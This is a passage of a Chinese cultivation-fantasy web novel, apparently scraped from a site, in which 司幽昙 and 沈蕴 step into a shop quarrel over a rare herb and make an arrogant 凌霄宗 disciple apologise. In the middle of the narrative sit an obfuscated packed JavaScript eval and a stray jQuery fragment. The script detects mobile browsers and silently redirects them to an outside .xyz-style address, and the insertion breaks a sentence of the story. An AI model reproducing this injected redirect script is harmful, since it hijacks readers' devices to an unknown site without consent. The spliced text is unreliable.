想到这里,他便聚精会神地挑选起灵植来,在脑海中仔细回忆着每一种灵植的特性与药性。
不多时,两人便各自挑拣好了一兜灵植。
沈蕴随手召来一名小厮,指着叶寒声手中的文房墨宝道:“把这两兜灵植和他的东西一并拿到柜台去,稍后我一同结账。
小厮应声上前,恭敬地接过东西,转身快步离开。
就在这时,争吵之声忽然传来。
“朱颜草只剩这一株了!刚才见你没动手我才拿的,现在我刚拿起,你却说是你先看中的?
沈蕴几人闻声看去。
灵植区的角落处,一名身着蓝白色道服的女修一脸怒色,在和一名白底金纹道袍的男修对峙。
那女修的装束一看便知是天剑门的外门弟子,此刻她将一只玉盒护在身前,盒中静静躺着一株灵植,正散发着柔和而诱人的灵光。
那灵植草茎赤红如朱砂,叶片细长似柳叶,叶脉透着金纹,一看便知是上品灵植。
而男修所穿,则是凌霄宗的服饰。
他抱臂冷笑一声,目光带着嘲讽之意看向那名女修:“这朱颜草我已观察半晌,正在研究其长势如何,你直接上手强夺,还有理了?
那女修被气得脸色发红:“简直胡搅蛮缠!坊市规矩,无主灵植先取者得!
“拿来!男子显然失了耐性,突然欺身逼近,掌心朝上:“此物是我为梨盈师姐准备的拜师礼,如今她即将拜入我凌霄宗清和长老门下,傅渊师叔更是她的亲传师兄!你确定要得罪?
这句话带着威胁砸下,女修脸色瞬间惨白如纸。
她本是无依无靠的散修,挣扎多年才因自身三灵根中的木灵根被天剑门破格选入外门,只因今年宗门急需开拓灵田。
纵然她不属于凌霄宗,但同在东域,若当真开罪凌霄宗长老的亲传弟子,日后外出历练时,怕是少不了要被刁难。
想到这里,那名女修不禁有些犹豫。
这朱颜草,向来供不应求。
它不仅是炼制驻颜丹的主材料之一,性质还十分温和。即便加入其它丹药一同炼制,也能帮助清除部分丹毒沉积,就算是直接捣碎了敷面,亦有美容养颜之效。
她攒了许久的灵石,好不容易才碰上这等奇珍,实在不愿轻易放手。
毕竟,若是恰好遇到急需此物的买家,转手之间便能赚上一笔。
这时,一道清冷的女声突然响起。
“不过是一名剑侍转弟子,名不正言不顺,也配讨要拜师礼?竟还为了她在多宝阁内作此恶心行径,我看你是活腻了。
此话一出,二人吓了一跳,连忙转头看去。
只见一名红衣女子凛然而立,周身威压如潮。
在她身后,竹色衣衫的医修气质清雅,另一位水墨长袍的修士则威仪赫赫,光看穿着便知是翰墨仙宗的高徒。
而凌霄宗男修的目光扫过最后那名银发玄衣的男子之时,瞳孔却骤然收缩。
这…这不是……
司幽昙见他这般反应,便知其已认出自己,眼梢当即危险地眯紧。
他向前逼近一步,盯着那名弟子冷冷开口:“你是凌霄宗何人门下,竟敢私自来天剑门地界生事?
那弟子被他的气势所慑,踉跄跌退半步:
“我、我……
“说。
司幽昙腰身挂着的链刃微动,寒光隐现。
“再支吾半字,我便亲自审问你。
那弟子吓了一跳,声音带着颤抖:“回司师叔的话,弟子安承启,是静轩**座下二弟子!
冷汗浸透中衣,安承启暗自叫苦。
因为凌霄宗附属城中的朱颜草早已售罄,他才千里迢迢绕来白露城的多宝阁,未曾想竟在此地撞见了这位煞星。
司幽昙是他们凌霄宗老祖座下的亲传弟子,平日神龙见首不见尾的云端人物,此刻怎会现身此地?
心绪纷乱间,安承启匆忙环顾四周。
这才惊觉其余三人的气息皆是如渊似海,周身威压强劲,修为深浅更是难以揣测分毫。
他心头猛地一跳。
这派头,莫不是什么惹不起的大人物?
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15945137|175489||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
司幽昙听后眸光更加深邃。
那静轩**不过元婴中期修为,在门内长老中素来声名不显,未曾想其座下弟子竟如此跋扈,公然在外宗同道面前失仪。
真是丢人现眼。
他的视线不由自主地转向沈蕴,见她眉宇间尽是不悦,心中更是一紧。
随即冷
眼扫向安承启:“此物既是人家先拿的,岂有你在此久观便占理之说?”
安承启身形一滞。
紧接着便听到他最不愿听见的一句话:
“给人家道歉。”
事已至此,安承启也看明白了,司幽昙分明是为外人撑腰来的。
他压下心头的不忿,深吸一口气,先朝着司幽昙恭恭敬敬地躬身:“是弟子言行失当,请师叔恕罪。”
旋即转向那女修,俯身作揖,垂眸低声道:“……方才多有冒犯,恳请仙子海涵。”
然而那女修却猛地侧过身子,毫不领情地避开了他的礼数,眉宇间怒意未消。
安承启的礼行到一半,姿势僵在半空,脸色顿时难看了起来。
自己修为高出此人半截,主动赔罪已是给足司幽昙颜面,岂料她竟当众下自己的脸面。
他好歹也是凌霄宗元婴**的亲传弟子,何曾受过这等轻慢?
可怒意未及出口,沈蕴的声音已慢悠悠飘来:
“不愧是和梨盈厮混一路的货色,连道歉都透着惺惺作态,这般虚伪,难怪遭人嫌弃。”
这话说得极难听,连叶寒声都听出了她话里明显的迁怒。
他心下暗道:以沈蕴的性子,若非那名叫梨盈的女子曾开罪于她或她在意之人,她断不会如此讥讽出声。
这么一想,多半是对方过错在先。
想到这里,他缓步上前轻按她的肩,温声劝慰:“师妹所言极是,古语有云‘过而不改,是谓过矣’。若口头认错却面无愧色,这般虚伪作态,岂是君子改过之道?”
众人:……
说的什么,听不懂。
这还是修真界吗?